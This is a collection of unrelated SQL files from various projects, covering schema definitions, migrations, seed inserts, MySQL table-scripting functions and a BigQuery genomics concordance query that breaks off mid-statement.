CAST(N'1899-12-30T18:45:00.000' AS DateTime), CAST(N'1899-12-30T18:59:59.000' AS DateTime), N'18', 18, NULL, N'45', 45, N'18:45:00', N'18:59:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (76, N'19:00', N'19:00', CAST(N'1899-12-30T19:00:00.000' AS DateTime), CAST(N'1899-12-30T19:14:59.000' AS DateTime), N'19', 19, N'00-29', N'00', 0, N'19:00:00', N'19:14:59', 1, 1) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (77, N'19:15', N'19:15', CAST(N'1899-12-30T19:15:00.000' AS DateTime), CAST(N'1899-12-30T19:29:59.000' AS DateTime), N'19', 19, NULL, N'15', 15, N'19:15:00', N'19:29:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (78, N'19:30', N'19:30', CAST(N'1899-12-30T19:30:00.000' AS DateTime), CAST(N'1899-12-30T19:44:59.000' AS DateTime), N'19', 19, N'30-59', N'30', 30, N'19:30:00', N'19:44:59', 1, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (79, N'19:45', N'19:45', CAST(N'1899-12-30T19:45:00.000' AS DateTime), CAST(N'1899-12-30T19:59:59.000' AS DateTime), N'19', 19, NULL, N'45', 45, N'19:45:00', N'19:59:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (80, N'20:00', N'20:00', CAST(N'1899-12-30T20:00:00.000' AS DateTime), CAST(N'1899-12-30T20:14:59.000' AS DateTime), N'20', 20, N'00-29', N'00', 0, N'20:00:00', N'20:14:59', 1, 1) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (81, N'20:15', N'20:15', CAST(N'1899-12-30T20:15:00.000' AS DateTime), CAST(N'1899-12-30T20:29:59.000' AS DateTime), N'20', 20, NULL, N'15', 15, N'20:15:00', N'20:29:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (82, N'20:30', N'20:30', CAST(N'1899-12-30T20:30:00.000' AS DateTime), CAST(N'1899-12-30T20:44:59.000' AS DateTime), N'20', 20, N'30-59', N'30', 30, N'20:30:00', N'20:44:59', 1, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (83, N'20:45', N'20:45', CAST(N'1899-12-30T20:45:00.000' AS DateTime), CAST(N'1899-12-30T20:59:59.000' AS DateTime), N'20', 20, NULL, N'45', 45, N'20:45:00', N'20:59:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (84, N'21:00', N'21:00', CAST(N'1899-12-30T21:00:00.000' AS DateTime), CAST(N'1899-12-30T21:14:59.000' AS DateTime), N'21', 21, N'00-29', N'00', 0, N'21:00:00', N'21:14:59', 1, 1) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (85, N'21:15', N'21:15', CAST(N'1899-12-30T21:15:00.000' AS DateTime), CAST(N'1899-12-30T21:29:59.000' AS DateTime), N'21', 21, NULL, N'15', 15, N'21:15:00', N'21:29:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (86, N'21:30', N'21:30', CAST(N'1899-12-30T21:30:00.000' AS DateTime), CAST(N'1899-12-30T21:44:59.000' AS DateTime), N'21', 21, N'30-59', N'30', 30, N'21:30:00', N'21:44:59', 1, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (87, N'21:45', N'21:45', CAST(N'1899-12-30T21:45:00.000' AS DateTime), CAST(N'1899-12-30T21:59:59.000' AS DateTime), N'21', 21, NULL, N'45', 45, N'21:45:00', N'21:59:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (88, N'22:00', N'22:00', CAST(N'1899-12-30T22:00:00.000' AS DateTime), CAST(N'1899-12-30T22:14:59.000' AS DateTime), N'22', 22, N'00-29', N'00', 0, N'22:00:00', N'22:14:59', 1, 1) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (89, N'22:15', N'22:15', CAST(N'1899-12-30T22:15:00.000' AS DateTime), CAST(N'1899-12-30T22:29:59.000' AS DateTime), N'22', 22, NULL, N'15', 15, N'22:15:00', N'22:29:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (90, N'22:30', N'22:30', CAST(N'1899-12-30T22:30:00.000' AS DateTime), CAST(N'1899-12-30T22:44:59.000' AS DateTime), N'22', 22, N'30-59', N'30', 30, N'22:30:00', N'22:44:59', 1, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (91, N'22:45', N'22:45', CAST(N'1899-12-30T22:45:00.000' AS DateTime), CAST(N'1899-12-30T22:59:59.000' AS DateTime), N'22', 22, NULL, N'45', 45, N'22:45:00', N'22:59:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (92, N'23:00', N'23:00', CAST(N'1899-12-30T23:00:00.000' AS DateTime), CAST(N'1899-12-30T23:14:59.000' AS DateTime), N'23', 23, N'00-29', N'00', 0, N'23:00:00', N'23:14:59', 1, 1) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (93, N'23:15', N'23:15', CAST(N'1899-12-30T23:15:00.000' AS DateTime), CAST(N'1899-12-30T23:29:59.000' AS DateTime), N'23', 23, NULL, N'15', 15, N'23:15:00', N'23:29:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (94, N'23:30', N'23:30', CAST(N'1899-12-30T23:30:00.000' AS DateTime), CAST(N'1899-12-30T23:44:59.000' AS DateTime), N'23', 23, N'30-59', N'30', 30, N'23:30:00', N'23:44:59', 1, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (95, N'23:45', N'23:45', CAST(N'1899-12-30T23:45:00.000' AS DateTime), CAST(N'1899-12-30T23:59:59.000' AS DateTime), N'23', 23, NULL, N'45', 45, N'23:45:00', N'23:59:59', 0, 0) GO
<reponame>softask-app/softask-ddl /*--------------------------------------------------------*\ | App Users | \*--------------------------------------------------------*/ CREATE TABLE IF NOT EXISTS users.user ( -- Sequential user id user_id BIGSERIAL PRIMARY KEY, -- User display name display_name VARCHAR(64) NOT NULL CONSTRAINT user_display_name_min_len CHECK (length(display_name) >= 3), -- Twofish encrypted user email email BYTEA NOT NULL UNIQUE, -- <PASSWORD>56 hashed user password password BYTEA NOT NULL, -- user creation date created TIMESTAMPTZ NOT NULL DEFAULT now() ); /*--------------------------------------------------------*\ | User Devices | | | | Records the mobile devices from which a user has used | | the app along with whether or not that device is trusted | | and may skip the user auth process. | | | | When set to "trust", a device will be issued a 64 digit | | token value. That value in combination with the user | | ID and the device ID will be used to validate that the | | auto-auth request is allowed | \*--------------------------------------------------------*/ CREATE TABLE IF NOT EXISTS users.device ( -- ID of the user the device belongs to user_id BIGINT NOT NULL REFERENCES users.user (user_id) ON DELETE CASCADE, -- Unique ID for an instance of the mobile app. device_id CHAR(32) NOT NULL UNIQUE, -- Auto auth token. Generated and sent to the device to -- enable that device to skip password authentication. auto_auth CHAR(64) );
CREATE TABLE [CLIENTES] ( [CPF] [VARCHAR] (11), [NOME] [VARCHAR] (100), [ENDERECO 1] [VARCHAR] (150), [ENDERECO 2] [VARCHAR] (150), [BAIRRO] [VARCHAR] (50), [CIDADE] [VARCHAR] (50), [ESTADO] [VARCHAR] (2), [CEP] [VARCHAR] (8), [DATA DE NASCIMENTO] [DATE], [IDADE] [SMALLINT], [SEXO] [VARCHAR] (1), [LIMITE DE CREDITO] [MONEY], [VOLUME DE COMPRA] [FLOAT], [PRIMEIRA COMPRA] [BIT] )
<gh_stars>0 CREATE SCHEMA [Whitespace_removal]
-- -> Delete and Create Database if necessary -- DROP DATABASE IF EXISTS foodfydb; -- CREATE DATABASE foodfydb; CREATE TABLE "chefs" ( "id" SERIAL PRIMARY KEY, "file_id" int, "name" text, "created_at" timestamp DEFAULT (now()) ); CREATE TABLE "recipes" ( "id" SERIAL PRIMARY KEY, "chef_id" int, "title" text, "ingredients" text[], "preparation" text[], "information" text, "created_at" timestamp DEFAULT (now()), "updated_at" timestamp DEFAULT (now()), "user_id" int ); CREATE TABLE "files" ( "id" SERIAL PRIMARY KEY, "name" text, "path" text NOT NULL ); CREATE TABLE "recipe_files" ( "id" SERIAL PRIMARY KEY, "recipe_id" int, "file_id" int ); CREATE TABLE "users" ( "id" SERIAL PRIMARY KEY, "name" text NOT NULL, "email" text UNIQUE NOT NULL, "password" text NOT NULL, "reset_token" text, "reset_token_expires" text, "is_admin" boolean DEFAULT (false), "created_at" timestamp DEFAULT (now()), "updated_at" timestamp DEFAULT (now()) ); -- -> Add Foreign Keys ALTER TABLE "recipes" ADD FOREIGN KEY ("user_id") REFERENCES "users" ("id"); ALTER TABLE "recipe_files" ADD FOREIGN KEY ("recipe_id") REFERENCES "recipes" ("id"); ALTER TABLE "recipe_files" ADD FOREIGN KEY ("file_id") REFERENCES "files" ("id"); ALTER TABLE "chefs" ADD FOREIGN KEY ("file_id") REFERENCES "files" ("id"); ALTER TABLE "recipes" ADD FOREIGN KEY ("chef_id") REFERENCES "chefs" ("id"); -- ALTER TABLE "files" ADD FOREIGN KEY ("id") REFERENCES "recipe_files" ("file_id"); -- -> Create Procedure CREATE FUNCTION trigger_set_timestamp() RETURNS TRIGGER AS $$ BEGIN NEW.updated_at = NOW(); RETURN NEW; END; $$ LANGUAGE plpgsql; -- -> Add auto updated_at TRIGGER on recipes CREATE TRIGGER set_timestamp BEFORE UPDATE ON recipes FOR EACH ROW EXECUTE PROCEDURE trigger_set_timestamp(); -- -> Add auto updated_at TRIGGER on users CREATE TRIGGER set_timestamp BEFORE UPDATE ON users FOR EACH ROW EXECUTE PROCEDURE trigger_set_timestamp(); -- -> CREATE SESSION CREATE TABLE "session" ( "sid" varchar NOT NULL COLLATE "default", "sess" json NOT NULL, "expire" timestamp(6) NOT NULL ) WITH (OIDS=FALSE); ALTER TABLE "session" ADD CONSTRAINT "session_pkey" PRIMARY KEY ("sid") NOT DEFERRABLE INITIALLY IMMEDIATE; -- -> Delete and Creat tables on public if necessary -- DROP SCHEMA public CASCADE; -- CREATE SCHEMA public; -- -> Change default of a column -- ALTER TABLE recipes ALTER COLUMN created_at SET DEFAULT (now()); -- -> Delete multiple rows if necessary -- DELETE FROM files -- WHERE id IN (202,203,204,205,206,207,208,209,210,211,216,218) -- RETURNING *; -- -> Restart sequence auto_increment from tables ids if necessary -- ALTER SEQUENCE products_id_seq RESTART WITH 1;
-- +micrate Up -- SQL in section 'Up' is executed when this migration is applied ALTER TABLE users ADD COLUMN role VARCHAR DEFAULT 'user'; UPDATE users SET role='admin' WHERE login='veelenga'; -- +micrate Down -- SQL section 'Down' is executed when this migration is rolled back ALTER TABLE users DROP COLUMN role;
<gh_stars>10-100 -- Deploy seattleflu/schema:warehouse/sample/triggers/update-modified-timestamp to pg -- requires: warehouse/sample -- requires: functions/update-modified-timestamp begin; create trigger update_modified_timestamp before update on warehouse.sample for each row execute procedure warehouse.update_modified_timestamp(); commit;
-- file:regex.sql ln:77 expect:true explain (costs off) select * from pg_proc where proname ~ '^(abc)$'
<gh_stars>100-1000 -- https://github.com/procrastinate-org/procrastinate/pull/471 DROP FUNCTION IF EXISTS procrastinate_defer_periodic_job(character varying, character varying, character varying, character varying, bigint); ALTER TABLE procrastinate_periodic_defers DROP COLUMN "queue_name";
<reponame>PacktPublishing/Designing-Hexagonal-Architecture-with-Java INSERT INTO location(location_id, address, city, state, zipcode, country, latitude, longitude) VALUES(1, '<NAME>', 'Tully', 'NY', '13159', 'United States', '42.797310', '-76.130750'); INSERT INTO location(location_id, address, city, state, zipcode, country, latitude, longitude) VALUES(2, '104 N Wolcott St', 'Casper', 'WY', '82601', 'United States', '42.850840', '-106.324150'); INSERT INTO routers(router_id, router_parent_core_id, router_type, router_vendor, router_model, router_ip_protocol, router_ip_address, location_id) VALUES(UUID_TO_BIN('b832ef4f-f894-4194-8feb-a99c2cd4be0c'), null, 'CORE', 'CISCO', 'XYZ0001', 'IPV4', '1.0.0.1', 1); INSERT INTO routers(router_id, router_parent_core_id, router_type, router_vendor, router_model, router_ip_protocol, router_ip_address, location_id) VALUES(UUID_TO_BIN('b832ef4f-f894-4194-8feb-a99c2cd4be0d'), null, 'EDGE', 'HP', 'XYZ0001', 'IPV4', '2.0.0.1', 1); INSERT INTO routers(router_id, router_parent_core_id, router_type, router_vendor, router_model, router_ip_protocol, router_ip_address, location_id) VALUES(UUID_TO_BIN('b832ef4f-f894-4194-8feb-a99c2cd4be0a'), UUID_TO_BIN('b832ef4f-f894-4194-8feb-a99c2cd4be0c'), 'EDGE', 'JUNIPER', 'XYZ0001', 'IPV4', '5.0.0.5', 1); INSERT INTO routers(router_id, router_parent_core_id, router_type, router_vendor, router_model, router_ip_protocol, router_ip_address, location_id) VALUES(UUID_TO_BIN('b832ef4f-f894-4194-8feb-a99c2cd4be0b'), UUID_TO_BIN('b832ef4f-f894-4194-8feb-a99c2cd4be0c'), 'EDGE', 'JUNIPER', 'XYZ0001', 'IPV4', '6.0.0.6', 1); INSERT INTO routers(router_id, router_parent_core_id, router_type, router_vendor, router_model,router_ip_protocol, router_ip_address, location_id) VALUES(UUID_TO_BIN('b07f5187-2d82-4975-a14b-bdbad9a8ad46'), UUID_TO_BIN('b832ef4f-f894-4194-8feb-a99c2cd4be0c'), 'EDGE', 'HP', 'XYZ0002', 'IPV4', '2.0.0.2', 2); INSERT INTO switches(switch_id, router_id, switch_type, switch_vendor, switch_model, switch_ip_protocol, switch_ip_address, location_id) VALUES(UUID_TO_BIN('922dbcd5-d071-41bd-920b-00f83eb4bb46'), UUID_TO_BIN('b07f5187-2d82-4975-a14b-bdbad9a8ad46'), 'LAYER3','JUNIPER','XYZ0004', 'IPV4', '9.0.0.9', 1); INSERT INTO switches(switch_id, router_id, switch_type, switch_vendor, switch_model, switch_ip_protocol, switch_ip_address, location_id) VALUES(UUID_TO_BIN('922dbcd5-d071-41bd-920b-00f83eb4bb47'), UUID_TO_BIN('b07f5187-2d82-4975-a14b-bdbad9a8ad46'), 'LAYER3','CISCO','XYZ0002', 'IPV4', '10.0.0.10', 1); INSERT INTO networks(switch_id, network_protocol, network_address, network_name, network_cidr) VALUES(UUID_TO_BIN('922dbcd5-d071-41bd-920b-00f83eb4bb46'), 'IPV4', '10.0.0.0', 'HR', '8'); INSERT INTO networks(switch_id, network_protocol, network_address, network_name, network_cidr) VALUES(UUID_TO_BIN('922dbcd5-d071-41bd-920b-00f83eb4bb46'), 'IPV4', '192.168.127.12', 'Marketing', '8'); INSERT INTO networks(switch_id, network_protocol, network_address, network_name, network_cidr) VALUES(UUID_TO_BIN('922dbcd5-d071-41bd-920b-00f83eb4bb46'), 'IPV4', '172.16.17.32', 'Engineering', '8');
DROP TABLE IF EXISTS `multi_user`; CREATE TABLE `multi_user`( `id` bigint(64) NOT NULL, `name` varchar(50) DEFAULT NULL, `age` int(30) DEFAULT NULL, PRIMARY KEY (`id`) USING BTREE ) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8 COLLATE = utf8_general_ci;
DELIMITER $$ DROP FUNCTION IF EXISTS `ttab`.`fScriptScrubColumnType` $$ CREATE FUNCTION `ttab`.`fScriptScrubColumnType`(column_type_ VARCHAR(255)) RETURNS VARCHAR(255) CHARSET utf8 DETERMINISTIC BEGIN IF LOCATE('VARCHAR',column_type_) > 0 THEN RETURN CONCAT(' (',REPLACE(REPLACE(REPLACE(column_type_,')',''),'(',' '),'varchar','vc'),')'); END IF; IF LOCATE('UNSIGNED',column_type_) > 0 THEN IF LOCATE('BIGINT',column_type_) > 0 THEN RETURN ' u64'; END IF; IF LOCATE('SMALLINT',column_type_) > 0 THEN RETURN ' u16'; END IF; RETURN ' u32'; END IF; IF LOCATE('BIGINT',column_type_) > 0 THEN RETURN ' i64'; END IF; IF LOCATE('SMALLINT',column_type_) > 0 THEN RETURN ' i16'; END IF; IF LOCATE('INT',column_type_) > 0 THEN RETURN ' i32'; END IF; IF LOCATE('BIT',column_type_) > 0 THEN RETURN CONCAT(' (',REPLACE(REPLACE(REPLACE(column_type_,')',''),'(',' '),'BIT','bit'),')'); END IF; IF LOCATE('TEXT',column_type_) > 0 THEN RETURN ' txt'; END IF; IF LOCATE('TIMESTAMP',column_type_) > 0 THEN RETURN ' ts'; END IF; IF LOCATE('DATETIME',column_type_) > 0 THEN RETURN ' dt'; END IF; IF LOCATE('TINYINT',column_type_) > 0 THEN RETURN ' bool'; END IF; IF LOCATE('VARBINARY',column_type_) > 0 THEN RETURN CONCAT(' (',REPLACE(REPLACE(REPLACE(column_type_,')',''),'(',' '),'varbinary','vb'),')'); END IF; IF LOCATE('ENUM',column_type_) > 0 THEN RETURN CONCAT(' (',REPLACE(REPLACE(REPLACE(column_type_,')','"'),'(',' "'),'enum','enum'),')'); END IF; IF LOCATE('CHAR',column_type_) > 0 THEN RETURN CONCAT(' (',REPLACE(REPLACE(REPLACE(column_type_,')',''),'(',' '),'char','ch'),')'); END IF; IF LOCATE('FLOAT',column_type_) > 0 THEN RETURN ' f32'; END IF; IF LOCATE('DECIMAL',column_type_) > 0 THEN RETURN CONCAT(' (',REPLACE(REPLACE(REPLACE(column_type_,')','"'),'(','"'),'decimal','dec'),')'); END IF; IF LOCATE('BINARY',column_type_) > 0 THEN RETURN CONCAT(' (',REPLACE(REPLACE(REPLACE(column_type_,')',''),'(',' '),'binary','bin'),')'); END IF; IF LOCATE('BLOB',column_type_) > 0 THEN RETURN ' blob'; END IF; IF LOCATE('DOUBLE',column_type_) > 0 THEN RETURN ' f64'; END IF; RETURN column_type_; END$$ DELIMITER ; DELIMITER $$ DROP FUNCTION IF EXISTS `ttab`.`fScriptScriptIsNullable` $$ CREATE FUNCTION `ttab`.`fScriptScriptIsNullable`(nullable_ VARCHAR(255)) RETURNS VARCHAR(255) CHARSET utf8 DETERMINISTIC BEGIN IF LOCATE('NO',nullable_) > 0 THEN RETURN ' notnull'; END IF; RETURN ' null'; END$$ DELIMITER ; DELIMITER $$ DROP FUNCTION IF EXISTS `ttab`.`fScriptScrubDefault` $$ CREATE FUNCTION `ttab`.`fScriptScrubDefault`(def_ VARCHAR(255), type_ VARCHAR(255)) RETURNS VARCHAR(255) CHARSET utf8 DETERMINISTIC BEGIN IF LOCATE('_none_',def_) > 0 THEN RETURN ''; END IF; IF LOCATE('0000-00',def_) > 0 THEN RETURN ''; END IF; IF LOCATE('0000-00',def_) > 0 THEN RETURN ''; END IF; IF LOCATE('vc',type_) > 0 OR LOCATE('ch',type_) > 0 OR LOCATE('txt',type_) > 0 OR LOCATE('enum',type_) > 0 THEN RETURN CONCAT(' default \"\'',def_,'\'\"'); END IF; IF LOCATE('bit',type_) > 0 THEN RETURN CONCAT(" default ", REPLACE(REPLACE(def_,"b'",''),"'","")); END IF; RETURN CONCAT(" default ",def_); END$$ DELIMITER ; DELIMITER $$ DROP FUNCTION IF EXISTS `ttab`.`fScriptScrubExtra` $$ CREATE FUNCTION `ttab`.`fScriptScrubExtra`(extra_ VARCHAR(255)) RETURNS VARCHAR(255) CHARSET utf8 DETERMINISTIC BEGIN IF LOCATE('AUTO_INCREMENT',extra_) > 0 THEN RETURN ' ai'; END IF; RETURN ''; END$$ DELIMITER ; DELIMITER $$ DROP PROCEDURE IF EXISTS `ttab`.`pScriptTableToTab` $$ CREATE PROCEDURE `ttab`.`pScriptTableToTab`(schema_ VARCHAR(100), table_ VARCHAR(100)) proc:BEGIN DECLARE OLDLEN INT; DROP TEMPORARY TABLE IF EXISTS _lines; CREATE TEMPORARY TABLE _lines (line TEXT); SELECT @@group_concat_max_len INTO OLDLEN; SET @@group_concat_max_len = 65536; -- leader INSERT INTO _lines VALUES (CONCAT("tab ",table_," innodb")); INSERT INTO _lines VALUES (CONCAT(" ,(dbname ",schema_,")")); INSERT INTO _lines VALUES (CONCAT(" ,(autoinc 10000)")); INSERT INTO _lines VALUES (CONCAT(" ,(charset utf8mb4)")); -- rows insert into _lines select CONCAT(' ,(col ' ,column_name ,fScriptScrubColumnType(replace(column_type,' ','_')) ,fScriptScriptIsNullable(is_nullable) ,fScriptScrubDefault(coalesce(column_default,'_none_'),fScriptScrubColumnType(replace(column_type,' ','_'))) ,fScriptScrubExtra(coalesce(extra,'_none_')) ,')') from information_schema.columns where table_schema = schema_ AND table_name = table_ order by ordinal_position asc; -- primary indexes insert into _lines select concat(' ,(primary ',line,')') from ( select CONCAT('(',group_concat(CONCAT_WS(' ' ,CASE COALESCE(collation,'A') WHEN 'A' THEN 'asc' ELSE 'desc' END ,column_name ) SEPARATOR ') ('),')') as 'line' from information_schema.statistics where table_schema = schema_ and table_name = table_ and index_name = "PRIMARY" group by index_name order by seq_in_index ) tab; -- unique indexes insert into _lines select concat(' ,(unique ',line,')') from ( select CONCAT('(',group_concat(CONCAT_WS(' ' ,CASE COALESCE(collation,'A') WHEN 'A' THEN 'asc' ELSE 'desc' END ,column_name ) SEPARATOR ') ('),')') as 'line' from information_schema.statistics where table_schema = schema_ and table_name = table_ and non_unique = 0 and index_name != "PRIMARY" group by index_name order by index_name,seq_in_index ) tab; -- normal indexes insert into _lines select concat(' ,(key ',line,')') from ( select CONCAT('(',group_concat(CONCAT_WS(' ' ,CASE COALESCE(collation,'A') WHEN 'A' THEN 'asc' ELSE 'desc' END ,column_name ) SEPARATOR ') ('),')') as 'line' from information_schema.statistics where table_schema = schema_ and table_name = table_ and non_unique = 1 and index_name != "PRIMARY" group by index_name order by index_name,seq_in_index ) tab; select GROUP_CONCAT(line SEPARATOR '\n') as Script from _lines; SET @@group_concat_max_len = OLDLEN; DROP TEMPORARY TABLE _lines; END$$ DELIMITER ; DELIMITER $$ DROP FUNCTION IF EXISTS `ttab`.`fScriptColumnDataSelect` $$ CREATE FUNCTION `ttab`.`fScriptColumnDataSelect`(coln_ VARCHAR(255), type_ VARCHAR(255)) RETURNS VARCHAR(255) CHARSET utf8 DETERMINISTIC BEGIN DECLARE BUF VARCHAR(255); IF LOCATE('TEXT',type_) > 0 OR LOCATE('BLOB',type_) > 0 OR LOCATE('BINARY',type_) > 0 OR LOCATE('CHAR',type_) > 0 OR LOCATE('ENUM',type_) > 0 OR LOCATE('TIME',type_) > 0 OR LOCATE('DATE',type_) > 0 THEN SET BUF = CONCAT('REPLACE(`',coln_,"`,'\\\\','\\\\\\\\')"); SET BUF = CONCAT('REPLACE(',BUF,",'\\\'','\\\\\\\'')"); SET BUF = CONCAT('REPLACE(',BUF,",'\"','\\\\\\\\\"')"); SET BUF = CONCAT(' CONCAT("\'\\\"\",',BUF,',"\\\"\'\") as "', coln_, '"'); RETURN BUF; END IF; RETURN CONCAT('`',coln_,'`'); END$$ DELIMITER ; DELIMITER $$ DROP PROCEDURE IF EXISTS `ttab`.`pScriptDataToTab` $$ CREATE PROCEDURE `ttab`.`pScriptDataToTab`(schema_ VARCHAR(100), table_ VARCHAR(100)) proc:BEGIN DECLARE OLDLEN INT; DROP TEMPORARY TABLE IF EXISTS _lines; CREATE TEMPORARY TABLE _lines (line TEXT); SELECT @@group_concat_max_len INTO OLDLEN; SET @@group_concat_max_len = 16777216; -- leader INSERT INTO _lines VALUES (CONCAT("tab ",table_)); INSERT INTO _lines VALUES (CONCAT(" ,(dbname ",schema_,")")); -- output columns INSERT INTO _lines SELECT CONCAT(' ,(col ',c.column_name,')') from information_schema.columns c where c.table_schema = schema_ and c.table_name = table_ and (c.extra != "AUTO_INCREMENT"); DROP TEMPORARY TABLE IF EXISTS _data; -- output data SELECT CONCAT('CREATE TEMPORARY TABLE _data as SELECT ' ,GROUP_CONCAT(fScriptColumnDataSelect(c.column_name,c.column_type) SEPARATOR ',') ,' FROM ',schema_,'.',table_) INTO @_QUERY from information_schema.columns c where c.table_schema = schema_ and c.table_name = table_ and (c.extra != "AUTO_INCREMENT"); PREPARE stmt1 FROM @_QUERY; EXECUTE stmt1; DEALLOCATE PREPARE stmt1; SELECT CONCAT('INSERT INTO _lines SELECT CONCAT(" ,(d ",COALESCE(`' ,GROUP_CONCAT(c.column_name SEPARATOR '`,"NULL")," ",COALESCE(`') ,'`,"NULL"),")") FROM _data') INTO @_QUERY from information_schema.columns c where c.table_schema = schema_ and c.table_name = table_ and (c.extra != "AUTO_INCREMENT"); PREPARE stmt1 FROM @_QUERY; EXECUTE stmt1; DEALLOCATE PREPARE stmt1; select GROUP_CONCAT(line SEPARATOR '\n') as Script from _lines; SET @@group_concat_max_len = OLDLEN; DROP TEMPORARY TABLE IF EXISTS _data; DROP TEMPORARY TABLE IF EXISTS _lines; END$$ DELIMITER ;
<gh_stars>0 # Identify genomes whose concordance with genotyping data is below a defined cutoff. SELECT sample_id, concordance, FROM ( SELECT sample_id, calls_in_common, identical_calls, (identical_calls/calls_in_common) AS concordance FROM ( SELECT sample_id, COUNT(seq_genotype) AS calls_in_common, SUM(IF(seq_genotype = gen_genotype, 1, 0)) AS identical_calls, FROM ( SELECT seq.sample_id AS sample_id, seq.reference_name AS reference_name, seq.start AS start, seq.end AS end, seq.genotype AS seq_genotype, gen.genotype AS gen_genotype, FROM ( SELECT sample_id, reference_name, start, end, genotype, bin, FROM js( (SELECT call.call_set_name, reference_name, start, end, call.genotype, reference_bases, GROUP_CONCAT(alternate_bases) WITHIN RECORD AS alts, COUNT(alternate_bases) WITHIN RECORD AS num_alts, FROM [_THE_TABLE_] #_WHERE_ OMIT call IF EVERY (call.genotype < 0) HAVING num_alts <= 1 AND reference_bases IN ('A','C','G','T') AND (alts IS null OR LENGTH(alts) <= 1) ), // Start javascript function // Input Columns call.call_set_name, reference_name, start, end, call.genotype, // Output Schema "[{name: 'sample_id', type: 'string'}, {name: 'reference_name', type: 'string'}, {name: 'start', type: 'integer'}, {name: 'end', type: 'integer'}, {name: 'genotype', type: 'string'}, {name: 'bin', type: 'integer'}]", // Function "function(r, emit) { for (c of r.call) { var binSize = 5000; var startBin = Math.floor(r.start/binSize); var endBin = Math.floor(r.end/binSize); var genotype = JSON.stringify(c.genotype.sort()); for (var bin = startBin; bin <= endBin; bin++){ emit({ sample_id: c.call_set_name, reference_name: r.reference_name, start: r.start, end: r.end, genotype: genotype, 